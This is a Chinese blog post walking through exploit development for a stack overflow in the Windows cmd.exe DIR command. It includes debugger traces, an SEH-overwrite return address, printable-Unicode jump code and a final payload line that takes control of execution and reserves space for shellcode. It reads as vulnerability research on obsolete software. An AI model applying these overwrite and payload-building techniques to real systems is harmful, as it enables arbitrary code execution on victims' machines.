小心我“DIR”溢出你!

作者:axis

好吧,我承认我昨天是在弄DIR溢出

不是sharpxxxxx那个。

dir溢出其实有好几个,有的和cmd有关,有的需要特定环境。

我今天整的这个又是一个YY漏洞。

微软一直没有补,因为在微软看来,这个应该不属于漏洞吧,溢出了也提不了权限,顶多算一个bug。

所以很多牛人都不整这个bug,而最近dummy爆了一个暴风影音的0day,也是个unicode的,我只在IE里触发了,不知道在perl脚本下咋触发,后来想起了这个dir漏洞。

我最喜欢做的事情就是整些没用的,仅仅用来YY的东西,时不时自虐一下,所以今天看看这个dir溢出。

在我的xp sp2 cn上,cmd版本

Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

首先,触发漏洞:

D:>dir \\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA……(超长)

就溢出了,cmd crash,简单吧

大概200多个A就可以造成溢出。

看看溢出时候的状况:

发现输出的参数: A 经过unicode编码后,一路覆盖到了栈底,异常了~~~

异常时寄存器如下:

停在这里:
77C17EA2    66:8901         MOV WORD PTR DS:[ECX],AX     ; //===> EIP指向这里
77C17EA5    41              INC ECX
77C17EA6    41              INC ECX

SEH也被覆盖了:
0013FF30   00410041 A.A.
0013FF34   00410041 A.A. 指向下一个 SEH 记录的指针
0013FF38   00410041 A.A. SE处理程序
0013FF3C   00410041 A.A.
0013FF40   00410041 A.A.
0013FF44   00410041 A.A.

其实栈溢出也好利用,要么覆盖返回地址,要么覆盖seh。

第二次找到漏洞原因,重新设定好断点,触发之:

溢出就发生在这个该死的 wcscpy 里

实际上是 wcscpy( [ebp-210h], [ebp-41C] );

跟进去后:
77C17E94 > 8BFF            MOV EDI,EDI
77C17E96    55           PUSH EBP
77C17E97    8BEC        MOV EBP,ESP
77C17E99    8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
77C17E9C    8B55 0C       MOV EDX,DWORD PTR SS:[EBP+C]
77C17E9F    66:8B02        MOV AX,WORD PTR DS:[EDX]
77C17EA2    66:8901        MOV WORD PTR DS:[ECX],AX
77C17EA5    41               INC ECX
77C17EA6    41             INC ECX
77C17EA7    42           INC EDX
77C17EA8    42             INC EDX
77C17EA9    66:85C0       TEST AX,AX
77C17EAC ^ 75 F1        JNZ SHORT msvcrt.77C17E9F
77C17EAE    8B45 08       MOV EAX,DWORD PTR SS:[EBP+8]
77C17EB1    5D                POP EBP
77C17EB2    C3                RETN

跟完之后才发现一个见鬼的地方,由于src和dest相距不远,所以在拷贝的过程中,dest把src的末尾的0字节给覆盖掉啦~~ 这样这个拷贝就因为找不到src的0字节而无法结束,所以会一直拷贝下去。

最后的结果就是在栈里有了若干个拷贝的镜像,最后因为一路覆盖到了栈底,所以异常了!

注意看 \.\.?.\. 是分隔不同拷贝的地方

如果这个溢出是发生在堆里,那么就heap spray了,最后会造成内存泄露。

这里是发生在栈里的,那就叫做 stack spray吧!

由于这里肯定会异常,wcscpy根本就无法正常返回,所以覆盖返回地址控制的方法可以不同考虑了。

那么正常人都会想到这里覆盖seh利用

而在这里seh也确实是被我们覆盖掉了。

不过可惜的是,xp sp2已经有了safeseh的保护了。而我们这个漏洞更是可怜的很。

可以看到,加载的模块居然没有一个可以利用的~!

然后诡异的事情发生了,本以为代码页是可以跳转的,结果在这里都不行。

经过测试,唯一能跳转的是内存中属性为 ”RE” 的段,以及cmd.exe自己注册的seh handler

到了这里,基本可以判断在正常情况下这个漏洞在xp sp2下是无法利用的了,当然如果有什么牛人有啥新的利用方法,也请告诉我。

欲知后事如何,且听下回分解。

接着前面来。

在xp sp2 上由于有safeseh所以无法成功利用,那么我们换到win2000。

测试平台:Windows 2000 Server SP4 CN

当我信心满满,摩拳擦掌的来到2000平台时,遭受到了一次严重的打击,把我到了~~

win 2000的默认cmd居然没有这个漏洞!

不过,你不能小看我的无耻。

是的,为了达到YY强国的目的,为了彻底的强X DIR,我把XP下的cmd.exe 拷贝 了一份到2000平台,这样就可以正常溢出了。

不过奇怪的是,banner显示的还是5.0 的版本

由于摆脱了safeseh的限制,在2000下我们可以任意跳转到喜欢去的地方

而且更开心的是,到了2000下,可以直接输入不可见字符了(也许是我土,void牛告诉我cmd里按住ctrl,再从小键盘输入数字就可以打不可见字符,不过我的笔记本没小键盘,无法体验了。),只要是双字节的不可见字符(用UltraEdit,进行unicode的16进制编辑即可),拷贝过来直接贴进去就行了。

在我系统上,cmd用的是GBK编码

这样的话,包括覆盖SEH、写shellcode在内,都会非常轻松。

但是在开篇我就说了,我今天是来自虐的,所以我准备用纯可见字符获取控制权。

为了选用合适的nop,可以用unicode的“q”,编码后就是 “7100”

翻译成汇编代码就是:
jno 00
也就起到了nop的作用

而跳转地址,因为是覆盖seh,所以需要 pop/pop/retn 或者是 jmp ebx 类型的。

我选择了 IMM32.dll 里的 0x75e05db0
75E05DB0    5F              POP EDI                                  ; ntdll.77FBB272
75E05DB1    5E              POP ESI
75E05DB2    C2 0400         RETN 4

这个地址正好是unicode的汉字: “嶰痠

最妙的是,这个地址当作指令执行也可以起到nop的效果。

但是上篇分析了,这个溢出会循环拷贝,会有很多镜像,所以seh后面并没有给我们留太多的空间。

0012FF34   00710071 q.q. 指向下一个 SEH 记录的指针
0012FF38   75E05DB0 癩鄒    SE处理程序

……

0012FF4C   00710071 q.q.
0012FF50   00710071 q.q.
0012FF54   00710071 q.q.
0012FF58   00710071 q.q.
0012FF5C   00710071 q.q.
0012FF60   00710071 q.q.
0012FF64   00710071 q.q.
0012FF68   00710071 q.q.
0012FF6C   00710071 q.q.
0012FF70   00710071 q.q.
0012FF74   00710071 q.q.
0012FF78   00710071 q.q.
0012FF7C   005C005C \.\.      ==> 下一个拷贝开始
0012FF80   005C003F ?.\.

0012FF84   00710071 q.q.

这么一点空间显然不够写太多的东西,所以需要跳到payload的前半部分去执行,以争取更多的写入Shellcode的空间

由于是在追求可见字符,所以在这段跳转的mini code的要求有点特别。

经过寻找,发现经过了 MOV AL, 5D 改变eax后( 75E05DB0中的 B0 5D),

[eax+3]比较符合这个要求,指向的是payload的前部。

所以使用如下的jmp code:
inc eax
inc eax
inc eax
call [eax+0x0h]
nop

经过一些变换后,变成可见字符,SEH跳转后如下:

其中ESI里的地址比较无关紧要,所以NOP的工作就交到了ESI的身上

看看栈里的数据:
0012FF34   00710071 q.q. 指向下一个 SEH 记录的指针
0012FF38   75E05DB0 癩鄒    SE处理程序
0012FF3C   00460040 @.F.
0012FF40   00460040 @.F.
0012FF44   00460040 @.F.
0012FF48   900050FF P.
0012FF4C   00710071 q.q.

如果不看unicode的话,就应该是 @F@F@F僿退

其中 “僿退” 就是 FF500090
也就是
call [eax+0]
NOP

@F则是完成eax+3的工作

后来发现这样做是走了弯路,直接使用
call [eax+0x3h]
NOP
会更简便

这样,unicode就是: FF500390

变成汉字就是: “僿逃

所以,最终的payload就变成了

dir \\?\qqqqqqqqqqqqqqqqqqqqddddSSSSSSHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHBBqq嶰痠僿逃qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

qqq…. 是NOP, 字母“S”则是shellcode开始的地方

由于覆盖SEH需要 \\?\\AAA(224个A)[SEH handler]AAAAA………….

而我们获取控制后,跳转回去,大概会有390多个字节的空间可以利用,如果计算精确的话,可以有400多个字节能写shellcode(unicode是双字节)。

整个流程如下:

覆盖SEH跳转后:

call [eax+3]后:

6400640064006400 就是payload里的 ”dddd“

把上面的code替换成你自己的Shellcode即可。

至此,我们控制了流程,而且有了400多字节可以写入shellcode的地方

YY完毕。

小心我”DIR”溢出你!

相关日志

楼被抢了 3 层了... 抢座Rss 2.0或者 Trackback

发表评论